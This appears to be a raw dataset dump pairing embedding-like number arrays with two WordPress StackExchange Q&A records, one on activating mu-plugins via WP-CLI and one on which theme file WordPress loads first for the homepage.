-0.00887298583984375, -0.0294952392578125, 0.0265350341796875, -0.01557159423828125, -0.0643310546875, 0.0090484619140625, -0.06158447265625, 0.006805419921875, 0.0078277587890625, 0.01824951171875, 0.02410888671875, 0.051971435546875, -0.01152801513671875, -0.007389068603515625, 0.0148773193359375, 0.0276641845703125, -0.025238037109375, -0.042816162109375, -0.012725830078125, 0.062408447265625, -0.08489990234375, 0.03936767578125, -0.00799560546875, 0.00002282857894897461, -0.00994110107421875, -0.048736572265625, -0.01251220703125, 0.0214080810546875, -0.0131683349609375, 0.0217132568359375, 0.044464111328125, 0.0007414817810058594, 0.0152435302734375, -0.01556396484375, -0.040740966796875, -0.000270843505859375, -0.000713348388671875, -0.0270538330078125, 0.0019197463989257812, 0.01178741455078125, -0.0302276611328125, 0.016204833984375, -0.002513885498046875, 0.0279541015625, 0.0479736328125, -0.007518768310546875, -0.040802001953125, -0.034332275390625, -0.0399169921875, 0.0007796287536621094, 0.0236053466796875, 0.037933349609375, -0.02191162109375, -0.004962921142578125, -0.0014925003051757812, 0.0092926025390625, -0.016845703125, -0.005466461181640625, 0.0069122314453125, -0.00875091552734375, 0.0286102294921875, 0.056182861328125, 0.0203857421875, -0.0088653564453125, 0.00634002685546875, 0.0263671875, 0.060302734375, -0.04180908203125, 0.0318603515625, -0.014312744140625, 0.009613037109375, 0.0224609375, -0.006786346435546875, -0.006465911865234375, 0.0202789306640625, 0.025054931640625, -0.01416015625, -0.005916595458984375, 0.0104217529296875, -0.06842041015625, 0.013946533203125, 0.0404052734375, 0.058746337890625, -0.049407958984375, -0.053955078125, -0.031707763671875, 0.03887939453125, 0.033905029296875, 0.00937652587890625, 0.03076171875, 0.013092041015625, 0.0950927734375, -0.0128021240234375, -0.0016727447509765625, -0.00980377197265625, 0.0278778076171875, 0.03765869140625, 0.0154571533203125, 0.0268402099609375, -0.02099609375, 0.0257568359375, 0.032928466796875, 0.038238525390625, -0.04132080078125, -0.056640625, 0.003566741943359375, -0.019012451171875, -0.00225067138671875, 0.030364990234375, 0.0182952880859375, 0.06805419921875, 0.07598876953125, -0.025726318359375, -0.012542724609375, 0.0044403076171875, -0.0009975433349609375, -0.0140533447265625, -0.0287933349609375, 0.04205322265625, 0.001384735107421875, -0.0228424072265625, -0.0011472702026367188, 0.004329681396484375, 0.02679443359375, 0.0190277099609375, 0.02105712890625, 0.001728057861328125, -0.00643157958984375, -0.0109710693359375, 0.0238189697265625, -0.01187896728515625, 0.0162200927734375, -0.0372314453125, -0.032379150390625, 0.00943756103515625, 0.032958984375, -0.0037517547607421875, -0.0215301513671875, 0.0244598388671875, 0.01953125, -0.02679443359375, -0.01412200927734375, 0.00585174560546875, -0.01715087890625, -0.0255126953125, -0.0305633544921875, 0.0307464599609375, 0.0222015380859375, 0.01629638671875, 0.007526397705078125, 0.059783935546875, 0.01025390625, -0.01397705078125, 0.051513671875, -0.004016876220703125, 0.0246429443359375, 0.01494598388671875, -0.01439666748046875, -0.0146636962890625, 0.0160980224609375, -0.057403564453125, -0.02337646484375, 0.004703521728515625, -0.0494384765625, 0.0377197265625, 0.05645751953125, 0.002521514892578125, -0.01041412353515625, 0.0096893310546875, -0.0162353515625, -0.0054779052734375, 0.0289154052734375, -0.01904296875, -0.0251922607421875, 0.0237579345703125, -0.033233642578125, -0.00096893310546875, 0.00157928466796875, 0.06060791015625, -0.007843017578125, -0.053558349609375, 0.016754150390625, 0.0020751953125, -0.01568603515625, -0.0045318603515625, 0.022491455078125, 0.0036830902099609375, -0.0187225341796875, 0.052520751953125, 0.03302001953125, -0.006801605224609375, -0.02679443359375, 0.0154266357421875, 0.04119873046875, -0.01226806640625, -0.01541900634765625, -0.035980224609375, -0.010009765625, 0.033294677734375, 0.056304931640625, 0.026397705078125, -0.0226898193359375, -0.0099029541015625, 0.005184173583984375, -0.0179443359375, 0.033233642578125, 0.01151275634765625, -0.0250091552734375, 0.03057861328125, -0.00555419921875, -0.034881591796875, 0.04254150390625, -0.04388427734375, 0.069580078125, 0.0394287109375, -0.0060882568359375, 0.006816864013671875, -0.063232421875, -0.03985595703125, 0.005084991455078125, -0.0223541259765625, 0.0058746337890625, -0.03619384765625, 0.01155853271484375, 0.002094268798828125, 0.0092620849609375, 0.0267181396484375, -0.02130126953125, 0.003154754638671875, 0.0230560302734375, -0.00926971435546875, 0.0024547576904296875, 0.01904296875, -0.00771331787109375, 0.0097198486328125, -0.0313720703125, -0.007663726806640625, 0.00411224365234375, -0.020538330078125, -0.016693115234375, -0.00785064697265625, 0.031646728515625, -0.007354736328125, -0.024688720703125, 0.0019388198852539062, -0.018585205078125, 0.01090240478515625, 0.004119873046875, -0.0411376953125, 0.016937255859375, 0.04791259765625, -0.00449371337890625, -0.03936767578125, -0.026031494140625, 0.00505828857421875, -0.0491943359375, -0.02215576171875, 0.0096893310546875, -0.012451171875, -0.070556640625, -0.00879669189453125, -0.0046234130859375, 0.01366424560546875, 0.0234375, -0.036102294921875, 0.029876708984375, -0.0174560546875, -0.039031982421875, -0.05938720703125, 0.018157958984375, -0.09588623046875, 0.0023784637451171875, 0.051055908203125, -0.01061248779296875, 0.0122222900390625, -0.0304107666015625, -0.0694580078125, 0.0736083984375, 0.0194244384765625, -0.030609130859375, 0.038970947265625, 0.004917144775390625, -0.01116180419921875, -0.0008034706115722656, 0.0034236907958984375, -0.0249786376953125, 0.001834869384765625, -0.00833892822265625, 0.0262298583984375, -0.0108184814453125, 0.042083740234375, -0.0194091796875, -0.061492919921875, 0.021820068359375, 0.018829345703125, 0.024658203125, -0.029083251953125, 0.0240936279296875, -0.031768798828125, 0.0037021636962890625, -0.028472900390625, -0.046478271484375, -0.007640838623046875, 0.01117706298828125, -0.00848388671875, -0.01047515869140625, -0.047210693359375, -0.00933837890625, 0.04437255859375, 0.064453125, 0.0233917236328125, -0.0176849365234375, -0.019256591796875, -0.01715087890625, -0.0225982666015625, -0.0240020751953125, 0.023834228515625, -0.040191650390625, 0.0027027130126953125, -0.01739501953125, -0.0254364013671875, -0.005626678466796875, 0.036285400390625, -0.059478759765625, 0.0034961700439453125, 0.02484130859375, -0.00044918060302734375, -0.06915283203125, -0.01134490966796875, -0.00814056396484375, -0.00757598876953125, -0.02764892578125, -0.01012420654296875, 0.0218048095703125, -0.041168212890625, -0.0012111663818359375, -0.0183258056640625, -0.0080718994140625, 0.0270538330078125, -0.0011682510375976562, 0.00594329833984375, -0.023895263671875, 0.048553466796875, 0.02801513671875, -0.01534271240234375, -0.009735107421875, 0.0019378662109375, -0.00545501708984375, 0.032012939453125, -0.005840301513671875, -0.0014638900756835938, -0.014373779296875, -0.00006896257400512695, -0.0474853515625, -0.025543212890625, 0.052978515625, 0.025177001953125, -0.0338134765625, 0.036865234375, -0.0335693359375, -0.003936767578125, -0.01611328125, -0.0106353759765625, -0.06396484375, 0.018798828125, 0.03448486328125, -0.012908935546875, 0.01363372802734375 ]
e0beb67a88899f3d141a65bed9aadd2c6311e7a0
Wordpress Stackexchange Q: How do I activate an mu-plugin with WP-CLI? Do I need some extra WP-CLI bundle to activate mu-plugins via command line? I can't find anything about that in the docs. Are mu-plugins treated differently by WP-CLI? I created /wp-content/mu-plugins/my-plugin.php containing: <?php /* Plugin Name: My Plugin Description: Provide must-use code. Version: 1.0 */ When I do: $ wp plugin list I get: +---------------+----------+--------+---------+ | name | status | update | version | +---------------+----------+--------+---------+ | akismet | inactive | none | 4.0.8 | | hello | active | none | 1.7 | | my-plugin | must-use | none | 1.0 | +---------------+----------+--------+---------+ But when I do: $ wp plugin activate my-plugin I get: Warning: The 'my-plugin' plugin could not be found. Error: No plugins activated. A: mu-plugins don’t get activated. They’re activated just by being in that folder.
Q: How do I activate an mu-plugin with WP-CLI? Do I need some extra WP-CLI bundle to activate mu-plugins via command line? I can't find anything about that in the docs. Are mu-plugins treated differently by WP-CLI? I created /wp-content/mu-plugins/my-plugin.php containing: <?php /* Plugin Name: My Plugin Description: Provide must-use code. Version: 1.0 */ When I do: $ wp plugin list I get: +---------------+----------+--------+---------+ | name | status | update | version | +---------------+----------+--------+---------+ | akismet | inactive | none | 4.0.8 | | hello | active | none | 1.7 | | my-plugin | must-use | none | 1.0 | +---------------+----------+--------+---------+ But when I do: $ wp plugin activate my-plugin I get: Warning: The 'my-plugin' plugin could not be found. Error: No plugins activated. A: mu-plugins don’t get activated. They’re activated just by being in that folder.
wordpress
{ "language": "en", "length": 138, "provenance": "stackexchange_00019.jsonl.gz:489154", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/313512" }
[ 0.01329803466796875, 0.006443023681640625, -0.01142120361328125, -0.035125732421875, 0.00832366943359375, 0.0008912086486816406, 0.00933074951171875, 0.005573272705078125, -0.00043463706970214844, 0.0225677490234375, -0.0204620361328125, 0.01151275634765625, -0.0035400390625, -0.0188140869140625, -0.00263214111328125, -0.0203399658203125, 0.029541015625, -0.005367279052734375, 0.01325225830078125, -0.019500732421875, 0.022064208984375, 0.0215301513671875, 0.007770538330078125, 0.0555419921875, 0.028717041015625, -0.0150146484375, 0.04241943359375, -0.0246124267578125, 0.006847381591796875, -0.034515380859375, 0.0292816162109375, 0.01125335693359375, 0.017425537109375, -0.01568603515625, 0.025726318359375, -0.0224609375, 0.0224761962890625, -0.0117340087890625, -0.00823211669921875, 0.01422882080078125, 0.0171966552734375, -0.0144500732421875, 0.0033054351806640625, 0.04083251953125, -0.0237579345703125, -0.0251007080078125, 0.023712158203125, -0.025421142578125, 0.00791168212890625, 0.0020008087158203125, -0.044830322265625, -0.004253387451171875, -0.02508544921875, -0.03985595703125, -0.0110626220703125, -0.0599365234375, -0.036041259765625, 0.0718994140625, -0.006313323974609375, 0.049224853515625, 0.0173797607421875, 0.058746337890625, -0.028533935546875, -0.01110076904296875, 0.041046142578125, -0.0236663818359375, -0.03485107421875, 0.024078369140625, -0.070556640625, 0.056793212890625, 0.072998046875, -0.07452392578125, 0.0316162109375, -0.004596710205078125, -0.00989532470703125, -0.06390380859375, 0.023895263671875, -0.039154052734375, 0.023162841796875, -0.008331298828125, 0.082275390625, 0.056182861328125, 0.01439666748046875, -0.0030231475830078125, 0.01922607421875, 0.01702880859375, 0.006259918212890625, -0.049774169921875, -0.019561767578125, -0.0236968994140625, -0.0209503173828125, -0.0240936279296875, 0.007274627685546875, -0.0028533935546875, -0.0406494140625, -0.0012273788452148438, 0.030792236328125, 0.0094451904296875, 0.01154327392578125, -0.00794219970703125, 0.0200042724609375, -0.044921875, 0.014617919921875, -0.0240631103515625, -0.00836944580078125, 0.07464599609375, 0.0086822509765625, -0.007205963134765625, -0.01320648193359375, -0.0029201507568359375, 0.0130157470703125, -0.0260467529296875, 0.0070037841796875, -0.036346435546875, 0.0029048919677734375, -0.00893402099609375, -0.03131103515625, 0.03289794921875, 0.031494140625, 0.01226806640625, 0.01360321044921875, 0.0148162841796875, 0.02783203125, -0.005344390869140625, -0.01503753662109375, -0.014984130859375, -0.004276275634765625, -0.042694091796875, -0.084716796875, 0.0271453857421875, 0.031158447265625, 0.024078369140625, 0.003143310546875, 0.0287017822265625, -0.044097900390625, 0.005046844482421875, 0.0134735107421875, 0.02471923828125, 0.020660400390625, -0.00909423828125, -0.01033782958984375, -0.03448486328125, 0.00914764404296875, 0.002346038818359375, -0.017242431640625, 0.052093505859375, 0.018890380859375, -0.0350341796875, -0.0372314453125, -0.041656494140625, -0.01549530029296875, -0.06915283203125, 0.00795745849609375, 0.006927490234375, 0.054656982421875, 0.0091094970703125, 0.059478759765625, -0.031341552734375, -0.003620147705078125, -0.005283355712890625, -0.00994873046875, -0.01367950439453125, -0.01898193359375, -0.026275634765625, -0.0222930908203125, 0.01073455810546875, 0.0014543533325195312, 0.0230255126953125, 0.01959228515625, 0.040985107421875, -0.01534271240234375, -0.021881103515625, 0.0312042236328125, 0.018463134765625, -0.0013370513916015625, 0.045623779296875, -0.018951416015625, 0.045989990234375, 0.0421142578125, 0.003238677978515625, 0.00031566619873046875, -0.017608642578125, 0.1300048828125, -0.01255035400390625, -0.07049560546875, 0.005725860595703125, 0.015411376953125, 0.044647216796875, 0.040191650390625, 0.0079803466796875, 0.05517578125, -0.01824951171875, -0.04010009765625, 0.01163482666015625, -0.0277252197265625, -0.00637054443359375, 0.00395965576171875, 0.0218353271484375, -0.002079010009765625, -0.002826690673828125, 0.0289764404296875, -0.0168914794921875, -0.0034198760986328125, -0.0150909423828125, -0.0968017578125, -0.02978515625, -0.0293121337890625, 0.004840850830078125, 0.0185089111328125, -0.046417236328125, -0.010223388671875, -0.047576904296875, 0.0528564453125, -0.0921630859375, -0.068603515625, 0.04144287109375, -0.0584716796875, 0.0238037109375, -0.00861358642578125, 0.038360595703125, 0.01010894775390625, -0.031341552734375, 0.013763427734375, -0.0061187744140625, -0.0186920166015625, 0.0343017578125, -0.0252532958984375, 0.0248565673828125, -0.0232696533203125, 0.0273284912109375, 0.0165863037109375, 0.0083770751953125, -0.0106964111328125, -0.01476287841796875, -0.0202789306640625, -0.006793975830078125, 0.0254364013671875, -0.037689208984375, 0.0223388671875, 0.033966064453125, 0.043060302734375, 0.003185272216796875, 0.0113525390625, 0.005764007568359375, 0.041015625, -0.042144775390625, 0.0201263427734375, -0.01178741455078125, -0.0076141357421875, -0.01702880859375, -0.029998779296875, -0.0322265625, 0.049652099609375, 0.0066375732421875, 0.0107421875, 0.04144287109375, 0.0008764266967773438, -0.01200103759765625, -0.019317626953125, -0.01165008544921875, 0.0138702392578125, -0.06884765625, -0.060791015625, -0.00797271728515625, -0.030029296875, 0.0032062530517578125, 0.0067596435546875, 0.0145721435546875, 0.010589599609375, -0.005237579345703125, 0.0165557861328125, -0.0389404296875, 0.02618408203125, 0.0433349609375, 0.0081024169921875, 0.0152587890625, -0.0174560546875, -0.034912109375, 0.0149078369140625, 0.035980224609375, -0.050628662109375, -0.06365966796875, -0.038787841796875, -0.0205841064453125, 0.037994384765625, -0.0287322998046875, 0.020660400390625, -0.01189422607421875, -0.0300445556640625, -0.0189208984375, 0.034698486328125, -0.0216064453125, -0.04205322265625, 0.0235595703125, -0.0136566162109375, -0.041778564453125, 0.011810302734375, -0.040008544921875, 0.029296875, -0.039794921875, 0.06842041015625, 0.054901123046875, -0.01364898681640625, 0.003749847412109375, -0.0159454345703125, 0.00152587890625, 0.0062103271484375, -0.0193328857421875, -0.029052734375, -0.005828857421875, -0.05133056640625, -0.0025119781494140625, 0.012939453125, 0.0205230712890625, -0.0194244384765625, -0.06146240234375, -0.036773681640625, -0.00144195556640625, -0.100341796875, -0.065673828125, -0.010498046875, -0.04827880859375, 0.0419921875, -0.021514892578125, -0.0213623046875, -0.032073974609375, 0.00632476806640625, 0.027374267578125, -0.042327880859375, -0.0377197265625, -0.0268707275390625, -0.059814453125, -0.062469482421875, 0.047607421875, 0.006290435791015625, 0.0384521484375, -0.00429534912109375, 0.0413818359375, -0.0078125, -0.04510498046875, -0.0298614501953125, -0.00536346435546875, -0.004512786865234375, -0.0289306640625, 0.00580596923828125, 0.0008230209350585938, 0.0015277862548828125, 0.00957489013671875, 0.04937744140625, 0.043365478515625, -0.04547119140625, -0.004180908203125, -0.00565338134765625, -0.021697998046875, -0.025238037109375, 0.037322998046875, 0.025604248046875, -0.0401611328125, -0.01459503173828125, -0.051605224609375, 0.0088348388671875, -0.0010309219360351562, -0.0210113525390625, -0.00846099853515625, -0.0106048583984375, -0.005870819091796875, 0.0244293212890625, -0.018463134765625, -0.0113525390625, 0.0038776397705078125, 0.01019287109375, -0.019989013671875, 0.0259552001953125, -0.02178955078125, -0.03131103515625, -0.00589752197265625, 0.0257415771484375, -0.006046295166015625, -0.07940673828125, -0.0229034423828125, -0.01198577880859375, -0.0263671875, 0.016937255859375, -0.04510498046875, 0.049652099609375, -0.02294921875, -0.07122802734375, 0.0301513671875, -0.0202484130859375, 0.031890869140625, -0.0287933349609375, 0.0038509368896484375, -0.0156707763671875, -0.042572021484375, 0.0209808349609375, 0.018829345703125, -0.00283050537109375, -0.0059967041015625, 0.00991058349609375, -0.042755126953125, -0.055877685546875, -0.0150909423828125, 0.02178955078125, -0.05389404296875, -0.001102447509765625, -0.0162200927734375, -0.0535888671875, -0.0206298828125, 0.02569580078125, 0.009765625, 0.0391845703125, 0.009002685546875, 0.0193328857421875, -0.00800323486328125, -0.0130615234375, -0.0107574462890625, -0.07586669921875, 0.0019550323486328125, -0.0157623291015625, 0.0190277099609375, -0.0193939208984375, 0.041595458984375, -0.04693603515625, 0.0236358642578125, -0.0032176971435546875, 0.0245361328125, -0.003200531005859375, 0.00998687744140625, -0.01165771484375, -0.007598876953125, 0.0111541748046875, -0.018890380859375, -0.0197296142578125, -0.0222015380859375, -0.0180511474609375, 0.033355712890625, -0.005062103271484375, 0.0273895263671875, 0.018707275390625, -0.0101470947265625, 0.00173187255859375, -0.0386962890625, -0.036712646484375, -0.01209259033203125, -0.00966644287109375, -0.013519287109375, -0.04864501953125, 0.020233154296875, 0.0183868408203125, -0.04351806640625, -0.005161285400390625, 0.005313873291015625, 0.04510498046875, 0.0248260498046875, -0.0032215118408203125, 0.0199432373046875, -0.0037136077880859375, 0.0008983612060546875, 0.0457763671875, 0.04791259765625, 0.004169464111328125, 0.0167999267578125, 0.00445556640625, 0.007801055908203125, -0.01194000244140625, -0.0168609619140625, 0.055572509765625, -0.00862884521484375, -0.04388427734375, 0.0178680419921875, -0.039947509765625, 0.01168060302734375, 0.0222015380859375, 0.01238250732421875, -0.03997802734375, 0.0230560302734375, 0.050140380859375, -0.02056884765625, 0.00601959228515625, -0.032806396484375, -0.053497314453125, 0.0269775390625, -0.09979248046875, 0.0340576171875, 0.0108642578125, -0.01042938232421875, 0.03515625, -0.01203155517578125, -0.023834228515625, 0.0261077880859375, 0.0096282958984375, 0.0019016265869140625, 0.0177154541015625, 0.021697998046875, -0.032379150390625, 0.008026123046875, -0.016143798828125, 0.09515380859375, 0.0024814605712890625, -0.031982421875, -0.0526123046875, -0.01328277587890625, 0.039520263671875, 0.004669189453125, 0.027008056640625, 0.064453125, 0.0330810546875, -0.046417236328125, -0.0225830078125, 0.013153076171875, -0.005268096923828125, -0.0771484375, -0.019805908203125, -0.01477813720703125, -0.0130767822265625, -0.017120361328125, 0.060760498046875, -0.02484130859375, 0.0146636962890625, 0.006969451904296875, 0.0287017822265625, 0.03717041015625, 0.039825439453125, 0.0197296142578125, -0.04931640625, -0.017364501953125, 0.00708770751953125, -0.0101470947265625, -0.0211181640625, -0.01531982421875, 0.013214111328125, 0.01219940185546875, 0.046905517578125, 0.037750244140625, -0.01250457763671875, 0.0284881591796875, -0.012237548828125, -0.01898193359375, -0.01123809814453125, -0.00904083251953125, 0.0027828216552734375, 0.00001043081283569336, 0.00042819976806640625, 0.0038471221923828125, -0.00968170166015625, 0.02734375, -0.022705078125, 0.01143646240234375, 0.031402587890625, -0.05377197265625, 0.030548095703125, 0.038604736328125, 0.0208587646484375, 0.034393310546875, -0.0118560791015625, -0.04864501953125, -0.05804443359375, -0.0002601146697998047, 0.0081024169921875, 0.09552001953125, -0.0264434814453125, -0.0032558441162109375, -0.0041656494140625, -0.0033931732177734375, -0.0084686279296875, 0.00562286376953125, 0.03594970703125, 0.022003173828125, -0.038970947265625, 0.005222320556640625, -0.0168609619140625, -0.03131103515625, -0.022735595703125, -0.028717041015625, -0.061126708984375, -0.008880615234375, -0.003696441650390625, 0.00835418701171875, -0.014434814453125, -0.0023784637451171875, -0.0293121337890625, 0.0290374755859375, 0.032196044921875, 0.036224365234375, 0.00968170166015625, 0.0323486328125, 0.0171966552734375, 0.0289459228515625, 0.03533935546875, 0.0246124267578125, 0.0017557144165039062, -0.03216552734375, 0.0004611015319824219, -0.010040283203125, 0.00679779052734375, -0.0086822509765625, -0.00815582275390625, -0.0101165771484375, 0.0384521484375, -0.00920867919921875, -0.006809234619140625, 0.030303955078125, 0.01073455810546875, -0.007030487060546875, 0.04510498046875, 0.04443359375, 0.03076171875, 0.0474853515625, -0.0728759765625, 0.01007843017578125, 0.00891876220703125, 0.041595458984375, 0.02801513671875, -0.07000732421875, 0.02166748046875, 0.050689697265625, -0.04156494140625, 0.06695556640625, 0.05560302734375, -0.04766845703125, -0.00554656982421875, 0.0220489501953125, -0.028961181640625, -0.039642333984375, -0.0003650188446044922, 0.03369140625, -0.0026836395263671875, 0.0723876953125, -0.00428009033203125, -0.01511383056640625, 0.048126220703125, -0.03668212890625, 0.0228118896484375, 0.037139892578125, 0.0487060546875, -0.043975830078125, 0.0004799365997314453, -0.0020351409912109375, -0.03271484375, 0.027862548828125, -0.0157318115234375, -0.0039520263671875, -0.0290069580078125, 0.04925537109375, 0.037506103515625, -0.0066070556640625, 0.0316162109375, 0.00879669189453125, -0.026458740234375, 0.009613037109375, -0.00545501708984375, 0.014404296875, 0.007598876953125, -0.0029811859130859375, 0.006702423095703125, 0.023406982421875, 0.006805419921875, 0.03070068359375, -0.0228271484375, 0.01337432861328125, -0.0094146728515625, 0.0174560546875, -0.048980712890625, -0.014984130859375, 0.0016422271728515625, 0.0028629302978515625, 0.03961181640625, 0.042724609375, 0.00611114501953125, -0.0295867919921875, 0.02392578125, -0.0167236328125, -0.031463623046875, -0.0265960693359375, 0.012298583984375, 0.02593994140625, -0.048828125, 0.016632080078125, -0.0275115966796875, -0.017303466796875, 0.0086517333984375, 0.004486083984375, 0.0288848876953125, -0.00519561767578125, -0.021331787109375, 0.031646728515625, -0.04412841796875, -0.01275634765625, -0.0023670196533203125, 0.052520751953125, -0.039154052734375, 0.0003161430358886719, 0.0193023681640625, 0.00592041015625, -0.043731689453125, -0.0037860870361328125, -0.050384521484375, 0.081298828125, 0.01546478271484375, 0.00408172607421875, 0.01496124267578125, 0.039886474609375, -0.053070068359375, -0.011871337890625, -0.024749755859375, 0.046295166015625, -0.0244140625, 0.0204010009765625, -0.043426513671875, 0.0164337158203125, 0.00321197509765625, 0.01776123046875, 0.038421630859375, -0.000919342041015625, 0.008514404296875, -0.019927978515625, 0.038482666015625, -0.0168304443359375, -0.016876220703125, 0.0423583984375, 0.018829345703125, 0.039154052734375, 0.0377197265625, -0.0161285400390625, 0.033477783203125, 0.0011606216430664062, -0.0196990966796875, 0.04583740234375, 0.003314971923828125, -0.023651123046875, -0.0142822265625, 0.032257080078125, 0.001262664794921875, -0.002864837646484375, -0.014923095703125, 0.030670166015625, -0.0004420280456542969, -0.008056640625, -0.006412506103515625, 0.022125244140625, -0.01294708251953125, -0.01531982421875, 0.03680419921875, 0.003040313720703125, -0.00829315185546875, -0.01702880859375, -0.01065826416015625, 0.00782012939453125, -0.041168212890625, -0.0258026123046875, 0.00868988037109375, -0.00342559814453125, -0.0177154541015625, 0.0396728515625, 0.035369873046875, 0.0184478759765625, 0.03643798828125, 0.050079345703125, -0.0017852783203125, -0.0069122314453125, -0.08843994140625, 0.0191650390625, 0.039337158203125, 0.0021114349365234375, 0.0645751953125, 0.0142974853515625, -0.016357421875, 0.100830078125, 0.012786865234375, 0.0005884170532226562, -0.0018100738525390625, -0.01503753662109375, 0.004669189453125, 0.04241943359375, 0.002887725830078125, 0.027069091796875, -0.035064697265625, 0.04534912109375, 0.01165008544921875, 0.0230255126953125, -0.01934814453125, 0.05126953125, 0.021392822265625, 0.0086517333984375, -0.026702880859375, 0.052215576171875, 0.0262908935546875, 0.0208740234375, -0.053558349609375, -0.06036376953125, 0.06878662109375, 0.04541015625, -0.00965118408203125, 0.02105712890625, 0.033599853515625, 0.046905517578125, -0.0159912109375, -0.00022971630096435547, 0.033233642578125, -0.0191650390625, -0.0019178390502929688, 0.01393890380859375, 0.001659393310546875, 0.0305328369140625, -0.006343841552734375, -0.0249481201171875, 0.04461669921875, 0.032440185546875, -0.037750244140625, 0.058746337890625, 0.0018024444580078125, 0.0165252685546875, 0.045318603515625, -0.01340484619140625, 0.029632568359375, -0.0013141632080078125, -0.056060791015625, -0.00603485107421875, -0.040435791015625, -0.03533935546875, 0.01421356201171875, 0.042755126953125, 0.0014324188232421875, 0.013641357421875, 0.0023288726806640625, 0.005207061767578125, 0.021148681640625, -0.039031982421875, 0.00812530517578125, 0.00322723388671875, 0.0237274169921875, 0.0028591156005859375, -0.016510009765625, -0.0159454345703125, -0.035064697265625, 0.04296875, 0.02813720703125, 0.07415771484375, -0.019622802734375, 0.03936767578125, 0.003963470458984375, -0.0193328857421875, 0.0246124267578125, 0.037689208984375, -0.063720703125, 0.001495361328125, 0.026214599609375, -0.01132965087890625, -0.034637451171875, 0.042388916015625, 0.0006809234619140625, 0.00867462158203125, 0.004261016845703125, 0.016082763671875, -0.0003898143768310547, 0.0369873046875, 0.0396728515625, -0.0160064697265625, -0.03436279296875, -0.033599853515625, -0.0148773193359375, 0.036102294921875, 0.0660400390625, 0.02923583984375, -0.042022705078125, -0.025665283203125, -0.06536865234375, -0.007061004638671875, 0.02667236328125, -0.0828857421875, 0.01009368896484375, 0.0675048828125, -0.0058441162109375, -0.00955963134765625, -0.0310211181640625, 0.01557159423828125, 0.015228271484375, 0.022125244140625, -0.005542755126953125, -0.0194091796875, 0.0040435791015625, -0.007305145263671875, -0.018280029296875, -0.045562744140625, -0.0203094482421875, 0.02899169921875, -0.010894775390625, 0.027252197265625, -0.0936279296875, -0.035980224609375, -0.08624267578125, 0.0027980804443359375, 0.0310821533203125, -0.058837890625, -0.0204620361328125, -0.01529693603515625, 0.0015163421630859375, 0.01837158203125, -0.01068878173828125, -0.018280029296875, 0.00937652587890625, -0.038665771484375, 0.0006589889526367188, -0.0090179443359375, -0.03314208984375, -0.0129852294921875, -0.0265960693359375, -0.022308349609375, -0.0230865478515625, -0.061431884765625, 0.030975341796875, -0.0092620849609375, 0.019287109375, 0.037933349609375, -0.033172607421875, -0.0540771484375, 0.00922393798828125, 0.01531982421875, 0.048004150390625, 0.02972412109375, 0.00848388671875, 0.03558349609375, -0.0259857177734375, -0.03289794921875, -0.071533203125, 0.0183868408203125, -0.0872802734375, -0.033477783203125, -0.012786865234375, 0.0281982421875, 0.039764404296875, -0.0304718017578125, -0.05517578125, 0.02838134765625, -0.006938934326171875, -0.01270294189453125, -0.045989990234375, 0.016326904296875, 0.025604248046875, -0.039306640625, -0.0172119140625, -0.00746917724609375, -0.039306640625, 0.0260162353515625, -0.026275634765625, 0.024017333984375, -0.01119232177734375, -0.0232696533203125, 0.022003173828125, 0.0253143310546875, 0.0689697265625, -0.040863037109375, -0.029510498046875, 0.03399658203125, -0.006855010986328125, 0.03179931640625, -0.0200347900390625, 0.01458740234375, -0.00849151611328125, -0.00749969482421875, -0.0023956298828125, -0.046844482421875, -0.0303955078125, -0.01263427734375, 0.0836181640625, 0.042724609375, 0.0264739990234375, -0.0360107421875, 0.0124969482421875, -0.005054473876953125, -0.020416259765625, -0.0111083984375, 0.026031494140625, -0.069580078125, -0.025634765625, 0.0311279296875, -0.007476806640625, -0.01213836669921875, 0.0180206298828125, -0.017181396484375, -0.014556884765625, 0.0049896240234375, -0.01215362548828125, -0.023101806640625, -0.048492431640625, 0.00972747802734375, -0.014892578125, -0.0018310546875, -0.007343292236328125, 0.0382080078125, -0.00909423828125, 0.019012451171875, -0.01629638671875, 0.01215362548828125, -0.0036067962646484375, 0.0204010009765625, -0.002292633056640625, 0.0088958740234375, -0.002040863037109375, -0.006877899169921875, -0.0309906005859375, 0.029937744140625, 0.003582000732421875, 0.0225677490234375, -0.0037364959716796875, 0.028472900390625, 0.014923095703125, 0.061798095703125, 0.0160675048828125, -0.002079010009765625, -0.0202484130859375, 0.0667724609375, 0.035491943359375, -0.0499267578125, 0.037139892578125, -0.0183563232421875, 0.0063934326171875, 0.005443572998046875, 0.01392364501953125, -0.03936767578125, 0.033660888671875, 0.0116729736328125, -0.00334930419921875, 0.016265869140625 ]
87d672cc1b557e69f4994cf1791c995d2ff977ad
Wordpress Stackexchange Q: What is the first file wordpress looks at in a theme? I've inherited a theme and am trying to get my head around a plugin failure. There is an index.php file in the root of the theme, is that the first file wordpress will look at when it attempts to resolve the homepage or maybe it is something else? All files in the the root are as follows: 404.php archive-jetpack-testimonial.php archive.php assets comments.php footer.php front-page.php functions.php header-front.php header.php inc index.php page.php rtl.css screenshot.png search.php secure.php sidebar.php single.php style.css style.css.map template--standard.php With which file does wordpress begin? A: If it's the home page, WordPress will look for the following files in this order and use the first one it finds: 1. front-page.php 2. home.php 3. index.php WordPress template hierarchy is described in detail here: https://developer.wordpress.org/themes/basics/template-hierarchy/ This article explains how WordPress determines which template file(s) to use on individual pages. If you want to customize an existing WordPress theme it will help you decide which template file needs to be edited.
Q: What is the first file wordpress looks at in a theme? I've inherited a theme and am trying to get my head around a plugin failure. There is an index.php file in the root of the theme, is that the first file wordpress will look at when it attempts to resolve the homepage or maybe it is something else? All files in the the root are as follows: 404.php archive-jetpack-testimonial.php archive.php assets comments.php footer.php front-page.php functions.php header-front.php header.php inc index.php page.php rtl.css screenshot.png search.php secure.php sidebar.php single.php style.css style.css.map template--standard.php With which file does wordpress begin? A: If it's the home page, WordPress will look for the following files in this order and use the first one it finds: 1. front-page.php 2. home.php 3. index.php WordPress template hierarchy is described in detail here: https://developer.wordpress.org/themes/basics/template-hierarchy/ This article explains how WordPress determines which template file(s) to use on individual pages. If you want to customize an existing WordPress theme it will help you decide which template file needs to be edited. A: I think the more logical path is this: * *style.css *functions.php *index.php
wordpress
{ "language": "en", "length": 183, "provenance": "stackexchange_00019.jsonl.gz:489175", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/313619" }
